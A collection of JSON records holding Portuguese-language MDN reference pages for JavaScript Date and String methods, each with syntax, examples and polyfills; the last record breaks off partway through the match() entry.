{"title":"Date.prototype.getUTCSeconds() - JavaScript","text":"Date.prototype.getUTCSeconds()\n==============================\n\nO método **`getUTCSeconds()`** retorna os segundos na data informada de acordo com a hora universal.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.getUTCSeconds()\n```\n\n### Valor de retorno\n\nUm número inteiro, entre 0 e 59, representando os segundos da data informada de acordo com a hora universal.\n\nExemplos\n--------\n\n### Usando `getUTCSeconds()`\n\nThe following example assigns the seconds portion of the current time to the variabl\n\nO exemplo a seguir atribui a parte dos segundos da hora atual à variável `seconds`.\n\n\n```js\nvar today = new Date();\nvar seconds = today.getUTCSeconds();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getutcseconds |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getSeconds()`\n* `Date.prototype.setUTCSeconds()`"}
{"title":"Date.prototype.getTime() - JavaScript","text":"Date.prototype.getTime()\n========================\n\nO método **`getTime()`** retorna o valor numérico correspondente ao horário da data especificada de acordo com o horário universal.\n\nVocê pode usar este método para atribuir uma data e horário a outro objeto `Date`. Este método é funcionalmente equivalente ao método `valueOf()`.\n\nSintaxe\n-------\n```\n\ndateObj.getTime()\n```\n\n### Retorna\n\nUm número representando os milissegundos passados entre 1 de Janeiro de 1970 00:00:00 UTC e a data atual.\n\nExemplos\n--------\n\n### Usando `getTime()` para duplicar datas\n\nConstruindo um objeto de data com um horário idêntico.\n\n\n```js\n// Sendo o mês iniciado em zero, birthday será 10 de Janeiro de 1995\nvar birthday = new Date(1994, 12, 10);\nvar copy = new Date();\ncopy.setTime(birthday.getTime());\n```\n\n### Medindo tempo de execução\n\nSubtrair duas chamadas subsequentes a `getTime()` em objetos `Date` recém criados resultará no intervalo de tempo entre essas duas chamadas. Isso pode ser usado para calcular o tempo de execução de algumas operações. Veja também `Date.now()` para evitar instanciar objetos `Date` desnecessariamente.\n\n\n```js\nvar end, start;\n\nstart = new Date();\nfor (var i = 0; i < 1000; i++) {\n  Math.sqrt(i);\n}\nend = new Date();\n\nconsole.log(\"Operation took \" + (end.getTime() - start.getTime()) + \" msec\");\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.gettime |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `Date.prototype.setTime()`\n* `Date.prototype.valueOf()`\n* `Date.now()`"}
{"title":"Date.parse() - JavaScript","text":"Date.parse()\n============\n\nResumo\n------\n\nO método **`Date.parse()`** analisa uma representação de data em *string*, e retorna o número de milisegundos desde 01 de Janeiro de 1970, 00:00:00 UTC ou NaN se a string não for reconhecida ou, em alguns casos, contiver valores inválidos de data (ex. 2015-02-31).\n\nO uso de `Date.parse` não é recomendado, uma vez que até ES5 a análise de strings era inteiramente dependente de implementação. Ainda existem muitas diferenças de como diferentes plataformas analisam strings de data, então strings de data devem ser manualmente analisadas (uma biblioteca pode ajudar caso seja necessário atender a vários formatos)\n\nSintaxe\n-------\n\nChamada direta:\n```\n\nDate.parse(dateString)\n```\n\n\nChamada implícita:\n```\n\nnew Date(dateString)\n```\n\n### Parâmetros\n\n`dateString`\n\nUma *string* de representação de datas no format RFC2822 ou ISO 8601 (outros formatos podem ser utilizados, mas os resultados podem não ser os esperados).\n\nDescrição\n---------\n\nO método `parse()` analisa uma *string* de data (como `\"Dec 25, 1995\"`) e retorna o número de milisegundos desde 01 de Janeiro de 1970, 00:00:00 UTC. Esta função é útil para definir valores de data baseados em valores de *string*, por exemplo em conjunto com o método `setTime()` e o objeto `Date`.\n\nDada uma string representando um tempo, `parse()` retorna o valor temporal. É aceito o RFC2822 / IETF sintaxe de data (RFC2822 Section 3.3), ex.: `\"Mon, 25 Dec 1995 13:30:00 GMT\"`. A função entende as abreviações dos fusos horários continentais dos EUA, mas para uso geral, use um deslocamento de fuso horário, por exemplo, `\"Seg, 25 Dez 1995 13:30:00 +0430\"` (4 horas, 30 minutos à leste do Meridiano de Greenwich). Se o fuso horário não é especificado e a string está em um formato ISO reconhecido pela ES5, então é adotado o formato UTC (Tempo Universal Coordenado). GMT e UTC são considerados equivalentes. O fuso horário do seu horário local é usado para interpreatar argumentos na RFC2822 Formato 3.3 (ou qualquer formato não reconhecido como ISO 8601 na ES5) que não contenha informação de fuso horário.\n\n### Suporte ao formato ECMAScript 5 ISO-8601\n\n*Astring* Data e hora pode ser no formato ISO 8601. Por exemplo, `\"2011-10-10\"` (apenas data) ou `\"2011-10-10T14:48:00\"` (data e hora) podem ser passados ou convertidos. O fuso horario UTC é usado para interpretar argumentos no formato ISO 8601 que não contenham informação de fuso horário (note que ECMAScript ed 6 draft especifica que a *string* do tipo data e hora sem um fuso horário são tratados como data local, não UTC).\n\nWhile time zone specifiers are used during date string parsing to interpret the argument, the value returned is always the number of milliseconds between January 1, 1970 00:00:00 UTC and the point in time represented by the argument.\n\nBecause `parse()` is a static method of `Date`, it is called as `Date.parse()` rather than as a method of a `Date` instance.\n\n### Differences in assumed time zone\n\nGiven a date string of `\"March 7, 2014\"`, `parse()` assumes a local time zone, but given an ISO format such as `\"2014-03-07\"` it will assume a time zone of UTC. Therefore `Date` objects produced using those strings will represent different moments in time unless the system is set with a local time zone of UTC. This means that two date strings that appear equivalent may result in two different values depending on the format of the string that is being converted (this behavior is changed in ECMAScript ed 6 so that both will be treated as local).\n\n### Fall-back to implementation-specific date formats\n\nThe ECMAScript specification states: If the String does not conform to the standard format the function may fall back to any implementation–specific heuristics or implementation–specific parsing algorithm. Unrecognizable strings or dates containing illegal element values in ISO formatted strings shall cause `Date.parse()` to return `NaN`.\n\nHowever, invalid values in date strings not recognized as ISO format as defined by ES5 may or may not result in `NaN`, depending on the browser and values provided, e.g.:\n\n\n```js\n// Non-ISO string with invalid date values\nnew Date(\"23/25/2014\");\n```\n\n\nwill be treated as a local date of 25 November, 2015 in Firefox 30 and an invalid date in Safari 7. However, if the string is recognized as an ISO format string and it contains invalid values, it will return `NaN` in all browsers compliant with ES5:\n\n\n```js\n// ISO string with invalid values\nnew Date(\"2014-25-23\").toISOString();\n// returns \"RangeError: invalid date\" in all es5 compliant browsers\n```\n\n\nSpiderMonkey's implementation-specific heuristic can be found in `jsdate.cpp`. The string `\"10 06 2014\"` is an example of a non–conforming ISO format and thus falls back to a custom routine. See also this rough outline on how the parsing works.\n\n\n```js\nnew Date(\"10 06 2014\");\n```\n\n\nwill be treated as a local date of 6 October, 2014 and not 10 June, 2014. Other examples:\n\n\n```js\nnew Date(\"foo-bar 2014\").toString();\n// returns: \"Invalid Date\"\n\nDate.parse(\"foo-bar 2014\");\n// returns: NaN\n```\n\nExamples\n--------\n\n### Example: Using `Date.parse()`\n\nIf `IPOdate` is an existing `Date` object, it can be set to August 9, 1995 (local time) as follows:\n\n\n```js\nIPOdate.setTime(Date.parse(\"Aug 9, 1995\"));\n```\n\n\nSome other examples of parsing non–standard date strings:\n\n\n```js\nDate.parse(\"Aug 9, 1995\");\n```\n\n\nReturns `807937200000` in time zone GMT-0300, and other values in other time zones, since the string does not specify a time zone and is not ISO format, therefore the time zone defaults to local.\n\n\n```js\nDate.parse(\"Wed, 09 Aug 1995 00:00:00 GMT\");\n```\n\n\nReturns `807926400000` no matter the local time zone as GMT (UTC) is provided.\n\n\n```js\nDate.parse(\"Wed, 09 Aug 1995 00:00:00\");\n```\n\n\nReturns `807937200000` in time zone GMT-0300, and other values in other time zones, since there is no time zone specifier in the argument and it is not ISO format, so is treated as local.\n\n\n```js\nDate.parse(\"Thu, 01 Jan 1970 00:00:00 GMT\");\n```\n\n\nReturns `0` no matter the local time zone as a time zone GMT (UTC) is provided.\n\n\n```js\nDate.parse(\"Thu, 01 Jan 1970 00:00:00\");\n```\n\n\nReturns `14400000` in time zone GMT-0400, and other values in other time zones, since no time zone is provided and the string is not in ISO format, therfore the local time zone is used.\n\n\n```js\nDate.parse(\"Thu, 01 Jan 1970 00:00:00 GMT-0400\");\n```\n\n\nReturns `14400000` no matter the local time zone as a time zone GMT (UTC) is provided.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.parse |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `Date.UTC()`"}
{"title":"Date.now() - JavaScript","text":"Date.now()\n==========\n\nResumo\n------\n\nO método **`Date.now()`** retorna o número de milisegundos decorridos desde 1 de janeiro de 1970 00:00:00 UTC.\n\nSintaxe\n-------\n```\n\nvar timeInMs = Date.now();\n```\n\n### Parâmetros\n\nNenhum.\n\nDescrição\n---------\n\nO método **`now()`** retorna os milisegundos decorridos desde 1 de janeiro de 1970 00:00:00 UTC até agora como um `Number`.\n\nPor que **`now`** é um método estático de **`Date`**, você sempre o usará como **`Date.now()`**.\n\nPolyfill\n--------\n\nEste método foi padronizado no ECMA-262 5th edition. Em ambientes que não estão atualizados para suportar este método você pode suprir esta carência utilizando o seguinte:\n\n\n```js\nif (!Date.now) {\n  Date.now = function now() {\n    return new Date().getTime();\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.now |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `window.performance.now` - fornece timestamps com sub-millisegundo precisão para uso em medir o desempenho da página\n* `console.time` / `console.timeEnd`"}
{"title":"Date.prototype.getDay() - JavaScript","text":"Date.prototype.getDay()\n=======================\n\nResumo\n------\n\nO método **`getDay()`** retorna o dia da semana para a data especificada de acordo com a hora local, onde 0 representa o Domingo.\n\nSintaxe\n-------\n```\n\ndateObj.getDay()\n```\n\n### Parâmetros\n\nNenhum.\n\n### Retorna\n\nO valor retornado por `getDay()` é um inteiro que corresponde com o dia da semana: 0 para Domingo, 1 para Segunda-Feira, 2 para Terça-Feira, e assim por diante.\n\nExemplos\n--------\n\n### Exemplo: Usando `getDay()`\n\nO segundo statement abaixo atribui o valor 1 à variável weekday (dia da semana), baseado no valor do objeto `Date` `Xmas95`. A data 25 de Dezembro de 1995 é uma Segunda-Feira.\n\n\n```js\nvar Xmas95 = new Date(\"December 25, 1995 23:15:30\");\nvar weekday = Xmas95.getDay();\n\nconsole.log(weekday); // 1\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getday |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCDate()`\n* `Date.prototype.getUTCDay()`\n* `Date.prototype.setDate()`"}
{"title":"Date.prototype.setMonth() - JavaScript","text":"Date.prototype.setMonth()\n=========================\n\nO método **`setMonth()`** atribui o mês para uma data específica de acordo com o ano corrente.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.setMonth(monthValue[, dayValue])\n```\n\n### Versões anteriores ao JavaScript 1.3\n```\n\ndateObj.setMonth(monthValue)\n```\n\n### Parâmetros\n\n`monthValue`\n\nUm inteiro baseado em zero representando o mês do ano a partir do começo do ano. Então, 0 representa Janeiro, 11 representa Dezembro, -1 representa Dezembro do ano passado, e 12 representa Janeiro do ano seguinte.\n\n`dayValue`\n\nOpcional. Um inteiro de 1 a 31, representando o dia do mês.\n\n### Valor de retorno\n\nO número de milissegundos entre dia 1 de Janeiro de 1970 00:00:00 UTC e a data atualizada.\n\nDescrição\n---------\n\nSe você não especifica o parâmetro `dayValue`, o valor retornado do método `getDate()` é utilizado.\n\nSe um parâmetro que você especificou estiver fora do alcance esperado, `setMonth()` tenta atualizar a informação da data no objeto `Date`. Por exemplo, se você usa 15 para `monthValue`, o ano será incrementado em 1, e 3 será usado para o mês.\n\nO dia corrente do mês terá um impacto no comportamento deste método. Conceitualmente ele irá adicionar o número de dias dado pelo dia corrente do mês ao primeiro dia do novo mês especificado como parâmetro, retornando uma nova data. Por exemplo, se o valor corrente é 31 de agosto de 2016, chamando `setMonth()` com um valor de 1 irá retornar 2 de Março de 2016. Isso acontece porque Fevereiro de 2016 tem 29 dias.\n\nExemplos\n--------\n\n### Usando `setMonth()`\n\n\n```js\nvar theBigDay = new Date();\ntheBigDay.setMonth(6);\n\n//Cuidado com transições de final de mês\nvar endOfMonth = new Date(2016, 7, 31);\nendOfMonth.setMonth(1);\nconsole.log(endOfMonth); //Wed Mar 02 2016 00:00:00\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.setmonth |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getMonth()`\n* `Date.prototype.setUTCMonth()`"}
{"title":"String.prototype.concat() - JavaScript","text":"String.prototype.concat()\n=========================\n\nO método **`concat()`** combina o texto de duas ou mais strings e retorna uma nova string.\n\nSintaxe\n-------\n```\n\nstr.concat(string2 [, ...stringN])\n```\n\n### Parâmetros\n\n`string2...stringN`\n\nStrings para concatenar à **`string2`**.\n\n### Valor retornado\n\nUma nova string contendo a string original concatenada à string passada como parâmetro.\n\nDescrição\n---------\n\nA função **`concat()`** combina o texto de duas ou mais strings e retorna uma nova string. As alterações de texto de uma string não afetam a outra string.\n\nSe o argumento passado não for do tipo string, o mesmo será convertido em uma string antes de ser concatenado.\n\nPerformance\n-----------\n\nÉ extremamente recomendado o uso dos operadores de atribuição (`+`, `+=`) em detrimento do método `concat()`.\n\nExemplos\n--------\n\n### Usando `concat()`\n\nO exemplo a seguir concatena uma string à outra string originando uma terceira string.\n\n\n```js\nvar hello = \"Olá, \";\nconsole.log(hello.concat(\"Kevin\", \" tenha um bom dia.\"));\n\n// retorna 'Olá, Kevin tenha um bom dia.'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.concat |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.concat()`\n* Assignment operators (en-US)"}
{"title":"String.prototype.endsWith() - JavaScript","text":"String.prototype.endsWith()\n===========================\n\nO método **`endsWith()`** indica se uma string termina com determinados caracteres, retornando `true` ou `false`.\n\nSintaxe\n-------\n```\n\nstr.endsWith(stringSendoBuscada[, tamanho])\n```\n\n### Parâmetros\n\n`stringSendoBuscada`\n\nOs caracteres a serem pesquisados no final da string.\n\n`tamanho`\n\nOpcional. Se fornecido, substitui o tamanho da string passada. Se omitido, o valor padrão é o tamanho da string.\n\n### Valor retornado\n\n**`true`** se os caracteres passados forem encontrados no final da string. Do contrário, retorna **`false`**.\n\nDescrição\n---------\n\nEste método permite que você verifique se uma string termina ou não com determinados caracteres. Este método é case-sensitive.\n\nExemplos\n--------\n\n### Usando `endsWith()`\n\n\n```js\nvar str = \"Ser ou não ser, eis a questão\";\n\nconsole.log(str.endsWith(\"questão\")); // retorna true\nconsole.log(str.endsWith(\"ser\")); // retorna false\nconsole.log(str.endsWith(\"ser\", 14)); // retorna true\n```\n\nPolyfill\n--------\n\nEste método foi adicionada na especificação ECMAScript 6 e talvez não esteja disponível em todos as implementações JavaScript ainda. No entanto, você pode criá-lo adicionando o seguinte código:\n\n\n```js\nif (!String.prototype.endsWith)\n  String.prototype.endsWith = function (searchStr, Position) {\n    // This works much better than >= because\n    // it compensates for NaN:\n    if (!(Position < this.length)) Position = this.length;\n    else Position |= 0; // round position\n    return (\n      this.substr(Position - searchStr.length, searchStr.length) === searchStr\n    );\n  };\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.endswith |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.startsWith()`\n* `String.prototype.includes()`\n* `String.prototype.indexOf()`\n* `String.prototype.lastIndexOf()`"}
{"title":"String.prototype.substr() - JavaScript","text":"String.prototype.substr()\n=========================\n\nO método `substr()` retorna uma parte da string, começando no índice especificado e estendendo-se por um determinado número de caracteres posteriormente.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nstr.substr(start[, length])\n```\n\n### Parâmetros\n\n`start`\n\nLocal para começar a extrair os caracteres.\n\n`length`\n\nOpcional. O número de caracteres a serem extraídos.\n\n### Valor de retorno\n\nUma nova string contendo a seção extraída da string fornecida.\n\nDescrição\n---------\n\nO `substr()` extrai caracteres de comprimento de uma `str`, contando a partir do índice inicial.\n\n* Se o `start` for um número positivo, o índice começa a contar no início da string. Seu valor é limitado ao tamanho da string (`str.length`).\n* Se o `start` for um número negativo, o índice começa a contar a partir do final da string. Seu valor é limitado ao tamanho da string (`-str.length`).\n\n**Nota:** No Microsoft JScript, valores negativos no argumento `start` não são considerados como referência ao final da string.\n\n* Se `length` for omitido, `substr()` extrairá caracteres até o final da string.\n* Se `length` for `undefined`, `substr()` extrai os caracteres até o final da string.\n* Se `length` for um número negativo, ele será tratado como `0`.\n* Para `start` e `length`, `NaN` é tratado como 0.\nExemplos\n--------\n\n### Usando `substr()`\n\n\n```js\nvar aString = \"Mozilla\";\n\nconsole.log(aString.substr(0, 1)); // 'M'\nconsole.log(aString.substr(1, 0)); // ''\nconsole.log(aString.substr(-1, 1)); // 'a'\nconsole.log(aString.substr(1, -1)); // ''\nconsole.log(aString.substr(-3)); // 'lla'\nconsole.log(aString.substr(1)); // 'ozilla'\nconsole.log(aString.substr(-20, 2)); // 'Mo'\nconsole.log(aString.substr(20, 2)); // ''\n```\n\nPolyfill\n--------\n\nJScript da Microsoft não suporta valores negativos para o índice de `start`. Se você deseja usar esse recurso, você pode usar o seguinte código de compatibilidade para evitar esse erro:\n\n\n```js\n// only run when the substr() function is broken\nif (\"ab\".substr(-1) != \"b\") {\n  /\\*\\*\n \\* Get the substring of a string\n \\* @param {integer} start where to start the substring\n \\* @param {integer} length how many characters to return\n \\* @return {string}\n \\*/\n  String.prototype.substr = (function (substr) {\n    return function (start, length) {\n      // call the original method\n      return substr.call(\n        this,\n        // did we get a negative start, calculate how much it is from the beginning of the string\n        // adjust the start parameter for negative value\n        start < 0 ? this.length + start : start,\n        length,\n      );\n    };\n  })(String.prototype.substr);\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.substr |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.slice()`\n* `String.prototype.substring()`"}
{"title":"String.prototype.matchAll() - JavaScript","text":"String.prototype.matchAll()\n===========================\n\nO método `matchAll()` retorna um iterador de todos os resultados correspondentes a uma string em relação a uma expressão regular, incluindo grupos de captura (en-US).\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nstr.matchAll(regexp)\n```\n\n### Parâmetros\n\n`regexp`\n\nUm objeto de expressão regular.\n\nSe um objeto *`obj`* não-RegExp for passado, ele será convertido implicitamente em um `RegExp` usando `new RegExp(obj)`.\n\nO objeto `RegExp` deve ter o sinalizador (flag) `/g`, caso contrário, um `TypeError` será retornado.\n\n### Valor retornado\n\nUm iterador (que não é um iterável reinicializável).\n\nExemplos\n--------\n\n### Regexp.exec() e matchAll()\n\nAntes da adição do `matchAll()` ao JavaScript, era possível usar chamadas regexp.exec (e regexes com a sinalização (flag) `/g`) em um loop para obter todas as correspondências:\n\n\n```js\nconst regexp = RegExp(\"foo[a-z]\\*\", \"g\");\nconst str = \"table football, foosball\";\nlet match;\n\nwhile ((match = regexp.exec(str)) !== null) {\n  console.log(\n    `Encontrou ${match[0]} início=${match.index} fim=${regexp.lastIndex}.`,\n  );\n  // retorna \"Encontrou football início=6 fim=14.\"\n  // retorna \"Encontou foosball início=16 fim=24.\"\n}\n```\n\n\nCom o `matchAll()` disponível, você pode evitar o loop `while` e executar com `g`.\n\nEm vez disso, usando o `matchAll()`, você obtém um iterador para usar com o mais conveniente `for...of`, `array spread` ou construções `Array.from()`:\n\n\n```js\nconst regexp = RegExp(\"foo[a-z]\\*\", \"g\");\nconst str = \"table football, foosball\";\nconst matches = str.matchAll(regexp);\n\nfor (const match of matches) {\n  console.log(\n    `Encontrou ${match[0]} início=${match.index} fim=${\n match.index + match[0].length\n }.`,\n  );\n}\n// retorna \"Encontrou football início=6 fim=14.\"\n// retorna \"Encontrou foosball início=16 fim=24.\"\n\n// O iterador de correspondências se esgota após a iterção for..of\n// Chame matchAll novamente para criar um novo iterador\nArray.from(str.matchAll(regexp), (m) => m[0]);\n// Array [ \"football\", \"foosball\" ]\n```\n\n\n`matchAll()` retornará uma exceção se o sinalizador (flag) `g` estiver ausente.\n\n\n```js\nconst regexp = RegExp(\"[a-c]\", \"\");\nconst str = \"abc\";\nstr.matchAll(regexp);\n// retorna TypeError\n```\n\n\n`matchAll()` cria internamente um clone da `regexp` - portanto, ao contrário de `regexp.exec()`, o `lastIndex` não muda conforme a string é verificada.\n\n\n```js\nconst regexp = RegExp(\"[a-c]\", \"g\");\nregexp.lastIndex = 1;\nconst str = \"abc\";\nArray.from(str.matchAll(regexp), (m) => `${regexp.lastIndex} ${m[0]}`);\n// Array [ \"1 b\", \"1 c\" ]\n```\n\n### Melhor acesso para capturar grupos (do que String.prototype.match())\n\nOutra razão convincente para usar `matchAll()` é o acesso aprimorado para capturar grupos.\n\nOs grupos de captura são ignorados ao usar `match()` com o sinalizador global `/g`:\n\n\n```js\nlet regexp = /t(e)(st(\\d?))/g;\nlet str = \"test1test2\";\n\nstr.match(regexp);\n// Array ['test1', 'test2']\n```\n\n\nUsando o `matchAll()`, você pode acessar os grupos de captura facilmente:\n\n\n```js\nlet array = [...str.matchAll(regexp)];\n\narray[0];\n// ['test1', 'e', 'st1', '1', index: 0, input: 'test1test2', length: 4]\narray[1];\n// ['test2', 'e', 'st2', '2', index: 5, input: 'test1test2', length: 4]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.matchall |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.match()`\n* Using regular expressions in JavaScript\n* Capturing groups (en-US)\n* `RegExp`\n* `RegExp.prototype.exec()`\n* `RegExp.prototype.test()`"}
{"title":"String.prototype.trimEnd() - JavaScript","text":"String.prototype.trimEnd()\n==========================\n\nO método `trimEnd()` remove espaços do final de uma *string*. `trimRight()` é um apelido para este método.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nstr.trimEnd();\nstr.trimRight();\n```\n\n### Valor retornado\n\nUma nova *string* representando a *string* original sem espaços ao seu final (direita).\n\nDescrição\n---------\n\nOs métodos `trimEnd()` / `trimRight()` retornam a *string* sem os espaços à direita dela. `trimEnd()` ou `trimRight()` não altera o valor da *string* original.\n\n### *Aliasing*\n\nPara consistência com funções como `String.prototype.padEnd` o nome padrão do método é `trimEnd`. Entretanto, por razões de compatibilidade na *web*, `trimRight` permanece como um apelido para `trimEnd`. Em alguns motores isso significa:\n\n\n```js\nString.prototype.trimRight.name === \"trimEnd\";\n```\n\nExemplos\n--------\n\n### Usando `trimEnd()`\n\nO exemplo a seguir mostra a *string* em caixa baixa `' foo'`:\n\n\n```js\nvar str = \" foo \";\n\nconsole.log(str.length); // retorna 8\n\nstr = str.trimEnd();\nconsole.log(str.length); // retorna 6\nconsole.log(str); // retorna ' foo'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.trimend |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `String.prototype.trim()`\n* `String.prototype.trimStart()`"}
{"title":"String.prototype.includes() - JavaScript","text":"String.prototype.includes()\n===========================\n\nO método **includes()** determina se um conjunto de caracteres pode ser encontrado dentro de outra string, retornando `true` ou `false`.\n\nSintaxe\n-------\n```\n\nstr.includes(searchString[, position])\n```\n\n### Parâmetros\n\n`searchString`\n\nÉ o conjunto de caracteres que será pesquisado dentro desta string.\n\n`position`\n\nOpcional. É um número inteiro que indica por onde a busca iniciará, referente ao índice da string a ser pesquisada. O valor padrão é 0.\n\n### Valor retornado\n\n`true` se o conjunto de caracteres for encontrado em algum lugar dentro da string sendo pesquisada. Do contrário, retorna `false`.\n\nDescrição\n---------\n\nEste método permite conferir se uma string contém um determinado conjunto de caracteres.\n\n### Case-sensitivity\n\nO método `includes()` é case sensitive. Por exemplo, a seguinte expressão retorna `false`:\n\n\n```js\n\"Bandeira do Brasil\".includes(\"brasil\"); // retorna false\n```\n\nExemplos\n--------\n\n### Utilizando `includes()`\n\n\n```js\nvar str = \"Ser, ou não ser, eis a questão.\";\n\nconsole.log(str.includes(\"Ser\")); // true\nconsole.log(str.includes(\"questão\")); // true\nconsole.log(str.includes(\"não existe\")); // false\nconsole.log(str.includes(\"ser\", 1)); // true\nconsole.log(str.includes(\"SER\")); // false\n```\n\nImplementação\n-------------\n\nEste método foi adicionado à especificação ECMAScript 6 e pode não estar disponível em todas as implementações JavaScript. No entanto, você pode facilmente implementar este método:\n\n\n```js\nif (!String.prototype.includes) {\n  String.prototype.includes = function () {\n    \"use strict\";\n    return String.prototype.indexOf.apply(this, arguments) !== -1;\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype.includes |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nString.prototype.contains\n-------------------------\n\nNo Firefox 18 - 39, o nome deste método era `contains()`. Ele foi renomeado para `includes()` no Erro do Firefox 1102219 devido ao seguinte motivo:\n\nFoi reportado que alguns websites que utilizam MooTools 1.2 não funcionavam no Firefox 17. Esta versão do MooTools verifica se `String.prototype.contains()` existe e, se não existir, MooTools adiciona sua própria função. Com a implementação desta função no Firefox 17, o comportamento desta validação mudou de uma forma que códigos baseados na implementação da função `String.prototype.contains()` do MooTools parassem de funcionar. Como resultado, esta mudança foi desabilitada no Firefox 17 e `String.prototype.contains()` foi disponibilizada na versão seguinte, no Firefox 18.\n\nMooTools 1.3 força sua própria versão do `String.prototype.contains()`, portanto websites baseados nela não devem parar de funcionar. No entanto, você deve notar que a assinatura do MooTools 1.3 e a assinatura ECMAScript 6 diferem (no segundo argumento). Posteriormente, MooTools 1.5+ mudou sua assinatura para o padrão ES6.\n\nVeja também\n-----------\n\n* `Array.prototype.includes()` \nExperimental\n* `TypedArray.prototype.includes()` (en-US) \nExperimental\n* `String.prototype.indexOf()`\n* `String.prototype.lastIndexOf()`\n* `String.prototype.startsWith()` \nExperimental\n* `String.prototype.endsWith()` \nExperimental"}
{"title":"String.prototype[@@iterator]() - JavaScript","text":"String.prototype[@@iterator]()\n==============================\n\nO método **`[@@iterator]()`** retorna um novo objeto `Iterator` que itera sobre os pontos de código do valor da String, retornando cada ponto de código como um valor String.\n\nSintaxe\n-------\n```\n\nstr[Symbol.iterator]\n```\n\n### Valor de Retorno\n\nNovo objeto `Iterator`.\n\nExemplos\n--------\n\n### Usando `[@@iterator]()`\n\n\n```js\nvar str = \"A\\uD835\\uDC68\";\n\nvar strIter = str[Symbol.iterator]();\n\nconsole.log(strIter.next().value); // \"A\"\nconsole.log(strIter.next().value); // \"\\uD835\\uDC68\"\n```\n\n### Usando `[@@iterator]()` com `for..of`\n\n\n```js\nvar str = \"A\\uD835\\uDC68B\\uD835\\uDC69C\\uD835\\uDC6A\";\n\nfor (var v of str) {\n  console.log(v);\n}\n// \"A\"\n// \"\\uD835\\uDC68\"\n// \"B\"\n// \"\\uD835\\uDC69\"\n// \"C\"\n// \"\\uD835\\uDC6A\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-string.prototype-@@iterator |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Iteration protocols"}
{"title":"String.prototype.match() - JavaScript","text":"String.prototype.match()\n========================\n\nResumo\n------\n\nO método `match()` retorna uma correspondência entre uma string com uma expressão regular.\n\nSintaxe\n-------\n```\n\nstr.match(regexp);\n```\n\n### Parâmetros\n\n`regexp`\n\nUm objeto de expressão regular. Se *`regexp`* não for uma **`RegExp`**, o mesmo será convertido para uma nova RegExp usando `new RegExp(regexp)`.\n\nSe você não fornecer nenhum parâmetro ao usar o método `match()`, você obterá um `Array` com uma string vazia: `[\"\"]`.\n\n### Valor retornado\n\n* Se o sinalizador `g` for usado, todos os resultados correspondentes à expressão regular serão retornados, mas a captura de grupos não.\n* se o sinalizador `g` não for usado, apenas a primeira correspondência completa e seus grupos de captura relacionados serão retornados. Nesse caso, o item devolvido terá propriedades adicionais conforme descrito a seguir.\n\n`array`\n\nUm `Array` cujo conteúdo depende da presença ou ausência do sinalizador global (`g`), ou `null` se nenhuma correspondência for encontrada.\n\n#### Propriedades adicionais\n\nConforme explicado acima, alguns resultados contêm propriedades adicionais conforme descrito abaixo.\n\n`groups`\n\nUm objeto de grupos de captura nomeados cujas chaves são os nomes, e valores são os grupos de captura ou `undefined` se nenhum grupo de captura 